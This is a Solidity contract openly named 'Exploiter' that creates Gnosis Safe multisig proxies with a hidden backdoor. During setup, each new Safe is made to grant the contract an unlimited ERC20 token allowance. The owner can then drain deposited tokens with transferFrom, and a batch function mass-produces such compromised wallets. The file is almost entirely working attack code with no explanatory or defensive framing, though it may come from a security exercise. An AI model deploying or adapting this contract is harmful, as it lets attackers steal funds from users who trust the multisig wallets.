// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.5.3; import "./GnosisSafeProxyFactory.sol"; import "./GnosisSafeMasterCopy.sol"; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.1/contracts/token/ERC20/IERC20.sol"; contract Exploiter { Proxy proxy; ProxyFactory proxyFactory; address owner; constructor(address _proxyFactory) public{ owner = msg.sender; proxyFactory = ProxyFactory(_proxyFactory); } modifier onlyOwner() { require(msg.sender == owner); _; } function createMultisig(address _masterCopy, address _token) public onlyOwner returns(address){ address[] memory owners = new address[](1); owners[0] = owner; bytes memory callApprove = abi.encodeWithSignature( "approve(address,address)", _token, address(this) ); bytes memory data = abi.encodeWithSignature( "setup(address[],uint256,address,bytes,address,address,uint256,address)", owners, 1, address(this), callApprove, address(0), address(0), 0, address(0) ); // bytes memory data; proxy = proxyFactory.createProxy(_masterCopy, data); return address(proxy); } function approve(address _token, address _spender) public { IERC20(_token).approve(_spender, uint256(-1)); } function transfer(address _token, address _multisig, address _to, uint256 _amount) public onlyOwner { IERC20(_token).transferFrom(_multisig, _to, _amount); } function createMultipleMultisig(address _masterCopy, address _token, uint256 _batchSize) public onlyOwner returns(address[] memory){ address[] memory list = new address[](_batchSize); for(uint256 i = 0; i < _batchSize; i++){ address rs = createMultisig(_masterCopy, _token); list[i] = rs; } return list; } }
0.5.3